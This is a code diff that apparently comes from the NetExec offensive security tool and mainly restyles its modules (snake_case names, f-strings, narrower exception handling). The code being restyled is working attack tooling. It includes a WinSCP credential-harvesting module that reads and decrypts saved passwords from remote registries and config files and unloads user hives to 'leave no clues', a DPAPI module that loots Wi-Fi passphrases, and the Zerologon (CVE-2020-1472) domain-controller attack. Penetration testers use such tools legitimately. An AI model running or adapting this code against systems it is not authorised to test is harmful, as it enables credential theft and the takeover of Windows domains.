remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0])
|
||||
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0]
|
||||
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
|
||||
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
|
||||
try:
|
||||
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0]
|
||||
except:
|
||||
password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "Password")[1].split("\x00")[:-1][0]
|
||||
except Exception:
|
||||
context.log.debug("Session found but no Password is stored!")
|
||||
password = ""
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
if password:
|
||||
decPassword = self.decryptPasswd(hostName, userName, password)
|
||||
else:
|
||||
decPassword = "NO_PASSWORD_FOUND"
|
||||
sectionName = unquote(sessionName)
|
||||
return [sectionName, hostName, userName, decPassword]
|
||||
dec_password = self.decrypt_passwd(host_name, user_name, password) if password else "NO_PASSWORD_FOUND"
|
||||
section_name = unquote(sessionName)
|
||||
return [section_name, host_name, user_name, dec_password]
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error in Session Extraction: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
remote_ops.finish()
|
||||
return "ERROR IN SESSION EXTRACTION"
|
||||
|
||||
def findAllLoggedInUsersInRegistry(self, context, connection):
|
||||
"""
|
||||
Checks whether User already exist in registry and therefore are logged in
|
||||
"""
|
||||
userObjects = []
|
||||
def find_all_logged_in_users_in_registry(self, context, connection):
|
||||
"""Checks whether User already exist in registry and therefore are logged in"""
|
||||
user_objects = []
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all logged in and loaded Users on System
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
|
||||
keyHandle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
users = data["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
userNames = []
|
||||
for i in range(users):
|
||||
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Filter legit users in regex
|
||||
userNames.remove(".DEFAULT")
|
||||
user_names.remove(".DEFAULT")
|
||||
regex = re.compile(r"^.*_Classes$")
|
||||
userObjects = [i for i in userNames if not regex.match(i)]
|
||||
user_objects = [i for i in user_names if not regex.match(i)]
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error handling Users in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return userObjects
|
||||
remote_ops.finish()
|
||||
return user_objects
|
||||
|
||||
def findAllUsers(self, context, connection):
|
||||
"""
|
||||
Find all User on the System in HKEY_LOCAL_MACHINE
|
||||
"""
|
||||
userObjects = []
|
||||
def find_all_users(self, context, connection):
|
||||
"""Find all User on the System in HKEY_LOCAL_MACHINE"""
|
||||
user_objects = []
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all Users on System
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
users = data["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
for i in range(users):
|
||||
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error handling Users in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return userObjects
|
||||
remote_ops.finish()
|
||||
return user_objects
|
||||
|
||||
def loadMissingUsers(self, context, connection, unloadedUserObjects):
|
||||
"""
|
||||
Extract Information for not logged in Users and then loads them into registry.
|
||||
"""
|
||||
def load_missing_users(self, context, connection, unloadedUserObjects):
|
||||
"""Extract Information for not logged in Users and then loads them into registry."""
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
|
||||
keyHandle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
|
||||
rrp.hBaseRegLoadKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
userObject,
|
||||
userProfilePath + "\\" + "NTUSER.DAT",
|
||||
user_profile_path + "\\" + "NTUSER.DAT",
|
||||
)
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
remote_ops.finish()
|
||||
|
||||
def unloadMissingUsers(self, context, connection, unloadedUserObjects):
|
||||
"""
|
||||
If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind...
|
||||
"""
|
||||
def unload_missing_users(self, context, connection, unloadedUserObjects):
|
||||
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Unload Profile
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
|
||||
keyHandle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
|
||||
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
remote_ops.finish()
|
||||
|
||||
def checkMasterpasswordSet(self, connection, userObject):
|
||||
def check_masterpassword_set(self, connection, userObject):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1]
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return useMasterPassword
|
||||
remote_ops.finish()
|
||||
return use_master_password
|
||||
|
||||
def registryDiscover(self, context, connection):
|
||||
def registry_discover(self, context, connection):
|
||||
context.log.display("Looking for WinSCP creds in Registry...")
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all Users on System
|
||||
userObjects = self.findAllLoggedInUsersInRegistry(context, connection)
|
||||
allUserObjects = self.findAllUsers(context, connection)
|
||||
self.userObjectToNameMapper(context, connection, allUserObjects)
|
||||
user_objects = self.find_all_logged_in_users_in_registry(context, connection)
|
||||
all_user_objects = self.find_all_users(context, connection)
|
||||
self.user_object_to_name_mapper(context, connection, all_user_objects)
|
||||
|
||||
# Users which must be loaded into registry:
|
||||
unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects)))
|
||||
self.loadMissingUsers(context, connection, unloadedUserObjects)
|
||||
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
|
||||
self.load_missing_users(context, connection, unloaded_user_objects)
|
||||
|
||||
# Retrieve how many sessions are stored in registry from each UserObject
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
for userObject in allUserObjects:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
for userObject in all_user_objects:
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
sessions = data["lpcSubKeys"]
|
||||
context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject]))
|
||||
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
|
||||
|
||||
# Get Session Names
|
||||
sessionNames = []
|
||||
for i in range(sessions):
|
||||
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
sessionNames.remove("Default%20Settings")
|
||||
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
session_names.remove("Default%20Settings")
|
||||
|
||||
if self.checkMasterpasswordSet(connection, userObject):
|
||||
if self.check_masterpassword_set(connection, userObject):
|
||||
context.log.fail("MasterPassword set! Aborting extraction...")
|
||||
continue
|
||||
# Extract stored Session infos
|
||||
for sessionName in sessionNames:
|
||||
self.printCreds(
|
||||
for sessionName in session_names:
|
||||
self.print_creds(
|
||||
context,
|
||||
self.registrySessionExtractor(context, connection, userObject, sessionName),
|
||||
self.registry_session_extractor(context, connection, userObject, sessionName),
|
||||
)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
|
||||
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
self.unloadMissingUsers(context, connection, unloadedUserObjects)
|
||||
self.unload_missing_users(context, connection, unloaded_user_objects)
|
||||
except DCERPCException as e:
|
||||
# Error during registry query
|
||||
if str(e).find("rpc_s_access_denied"):
|
||||
|
@ -390,10 +366,10 @@ class NXCModule:
|
|||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
remote_ops.finish()
|
||||
|
||||
# ==================== Handle Configs ====================
|
||||
def decodeConfigFile(self, context, confFile):
|
||||
def decode_config_file(self, context, confFile):
|
||||
config = configparser.RawConfigParser(strict=False)
|
||||
config.read_string(confFile)
|
||||
|
||||
|
@ -404,17 +380,17 @@ class NXCModule:
|
|||
|
||||
for section in config.sections():
|
||||
if config.has_option(section, "HostName"):
|
||||
hostName = unquote(config.get(section, "HostName"))
|
||||
userName = config.get(section, "UserName")
|
||||
host_name = unquote(config.get(section, "HostName"))
|
||||
user_name = config.get(section, "UserName")
|
||||
if config.has_option(section, "Password"):
|
||||
encPassword = config.get(section, "Password")
|
||||
decPassword = self.decryptPasswd(hostName, userName, encPassword)
|
||||
enc_password = config.get(section, "Password")
|
||||
dec_password = self.decrypt_passwd(host_name, user_name, enc_password)
|
||||
else:
|
||||
decPassword = "NO_PASSWORD_FOUND"
|
||||
sectionName = unquote(section)
|
||||
self.printCreds(context, [sectionName, hostName, userName, decPassword])
|
||||
dec_password = "NO_PASSWORD_FOUND"
|
||||
section_name = unquote(section)
|
||||
self.print_creds(context, [section_name, host_name, user_name, dec_password])
|
||||
|
||||
def getConfigFile(self, context, connection):
|
||||
def get_config_file(self, context, connection):
|
||||
if self.filepath:
|
||||
self.share = self.filepath.split(":")[0] + "$"
|
||||
path = self.filepath.split(":")[1]
|
||||
|
@ -422,19 +398,16 @@ class NXCModule:
|
|||
try:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(self.share, path, buf.write)
|
||||
confFile = buf.getvalue().decode()
|
||||
conf_file = buf.getvalue().decode()
|
||||
context.log.success("Found config file! Extracting credentials...")
|
||||
self.decodeConfigFile(context, confFile)
|
||||
except:
|
||||
context.log.fail("Error! No config file found at {}".format(self.filepath))
|
||||
self.decode_config_file(context, conf_file)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error! No config file found at {self.filepath}: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
else:
|
||||
context.log.display("Looking for WinSCP creds in User documents and AppData...")
|
||||
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
|
||||
users = []
|
||||
for row in output.split("\r\n"):
|
||||
users.append(row.strip())
|
||||
users = users[2:]
|
||||
users = [row.strip() for row in output.split("\r\n")[2:]]
|
||||
|
||||
# Iterate over found users and default paths to look for WinSCP.ini files
|
||||
for user in users:
|
||||
|
@ -443,18 +416,18 @@ class NXCModule:
|
|||
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
|
||||
]
|
||||
for path in paths:
|
||||
confFile = ""
|
||||
conf_file = ""
|
||||
try:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(self.share, path, buf.write)
|
||||
confFile = buf.getvalue().decode()
|
||||
context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path))
|
||||
except:
|
||||
context.log.debug('No config file found at "{}"'.format(self.share + path))
|
||||
if confFile:
|
||||
self.decodeConfigFile(context, confFile)
|
||||
conf_file = buf.getvalue().decode()
|
||||
context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...")
|
||||
except Exception as e:
|
||||
context.log.debug(f"No config file found at '{self.share + path}': {e}")
|
||||
if conf_file:
|
||||
self.decode_config_file(context, conf_file)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.filepath:
|
||||
self.registryDiscover(context, connection)
|
||||
self.getConfigFile(context, connection)
|
||||
self.registry_discover(context, connection)
|
||||
self.get_config_file(context, connection)
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
@ -49,7 +46,7 @@ class NXCModule:
|
|||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug("Could not upgrade connection: {}".format(e))
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
masterkeys = []
|
||||
|
@ -57,58 +54,35 @@ class NXCModule:
|
|||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get masterkeys: {}".format(e))
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys))))
|
||||
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
||||
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
wifi_creds = wifi_triage.triage_wifi()
|
||||
except Exception as e:
|
||||
context.log.debug("Error while looting wifi: {}".format(e))
|
||||
context.log.debug(f"Error while looting wifi: {e}")
|
||||
for wifi_cred in wifi_creds:
|
||||
if wifi_cred.auth.upper() == "OPEN":
|
||||
context.log.highlight("[OPEN] %s" % (wifi_cred.ssid))
|
||||
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
||||
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
||||
try:
|
||||
context.log.highlight(
|
||||
"[%s] %s - Passphrase: %s"
|
||||
% (
|
||||
wifi_cred.auth.upper(),
|
||||
wifi_cred.ssid,
|
||||
wifi_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
except:
|
||||
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
|
||||
elif wifi_cred.auth.upper() in ['WPA', 'WPA2']:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
||||
try:
|
||||
if self.eap_username is not None and self.eap_password is not None:
|
||||
context.log.highlight(
|
||||
"[%s] %s - %s - Identifier: %s:%s"
|
||||
% (
|
||||
wifi_cred.auth.upper(),
|
||||
wifi_cred.ssid,
|
||||
wifi_cred.eap_type,
|
||||
wifi_cred.eap_username,
|
||||
wifi_cred.eap_password,
|
||||
)
|
||||
)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
||||
else:
|
||||
context.log.highlight(
|
||||
"[%s] %s - %s "
|
||||
% (
|
||||
wifi_cred.auth.upper(),
|
||||
wifi_cred.ssid,
|
||||
wifi_cred.eap_type,
|
||||
)
|
||||
)
|
||||
except:
|
||||
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
else:
|
||||
context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))
|
||||
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
|
||||
# credit to @dirkjanm
|
||||
# module by : @mpgn_x64
|
||||
|
@ -42,8 +40,8 @@ class NXCModule:
|
|||
host.signing,
|
||||
zerologon=True,
|
||||
)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error updating zerologon status in database")
|
||||
except Exception:
|
||||
self.context.log.debug("Error updating zerologon status in database")
|
||||
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer):
|
||||
# Keep authenticating until successful. Expected average number of attempts needed: 256.
|
||||
|
@ -54,20 +52,22 @@ class NXCModule:
|
|||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
for attempt in range(0, MAX_ATTEMPTS):
|
||||
for _attempt in range(MAX_ATTEMPTS):
|
||||
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
|
||||
if result:
|
||||
return True
|
||||
else:
|
||||
self.context.log.highlight("Attack failed. Target is probably patched.")
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
|
||||
except DCERPCException:
|
||||
self.context.log.fail("Error while connecting to host: DCERPCException, which means this is probably not a DC!")
|
||||
|
||||
|
||||
def fail(msg):
|
||||
nxc_logger.debug(msg)
|
||||
nxc_logger.fail("This might have been caused by invalid arguments or network issues.")
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
|
||||
# Connect to the DC's Netlogon service.
|
||||
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import sys
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import identify_target_file
|
||||
from nxc.parsers.ip import parse_targets
|
||||
|
@ -8,19 +7,15 @@ from nxc.parsers.nessus import parse_nessus_file
|
|||
from nxc.cli import gen_cli_args
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.servers.http import NXCHTTPServer
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.context import Context
|
||||
from nxc.paths import nxc_PATH, DATA_PATH
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.console import nxc_console
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import asyncio
|
||||
import nxc.helpers.powershell as powershell
|
||||
from nxc.helpers import powershell
|
||||
import shutil
|
||||
import webbrowser
|
||||
import random
|
||||
import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
|
@ -28,11 +23,12 @@ from sys import exit
|
|||
import logging
|
||||
import sqlalchemy
|
||||
from rich.progress import Progress
|
||||
from sys import platform
|
||||
import platform
|
||||
|
||||
# Increase file_limit to prevent error "Too many open files"
|
||||
if platform != "win32":
|
||||
if platform.system() != "Windows":
|
||||
import resource
|
||||
|
||||
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
|
||||
if file_limit[1] > 10000:
|
||||
file_limit[0] = 10000
|
||||
|
@ -41,37 +37,31 @@ if platform != "win32":
|
|||
file_limit = tuple(file_limit)
|
||||
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
||||
|
||||
try:
|
||||
import librlers
|
||||
except:
|
||||
print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)")
|
||||
exit(1)
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
return db_engine
|
||||
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
async def start_run(protocol_obj, args, db, targets):
|
||||
nxc_logger.debug(f"Creating ThreadPoolExecutor")
|
||||
nxc_logger.debug("Creating ThreadPoolExecutor")
|
||||
if args.no_progress or len(targets) == 1:
|
||||
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
_ = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
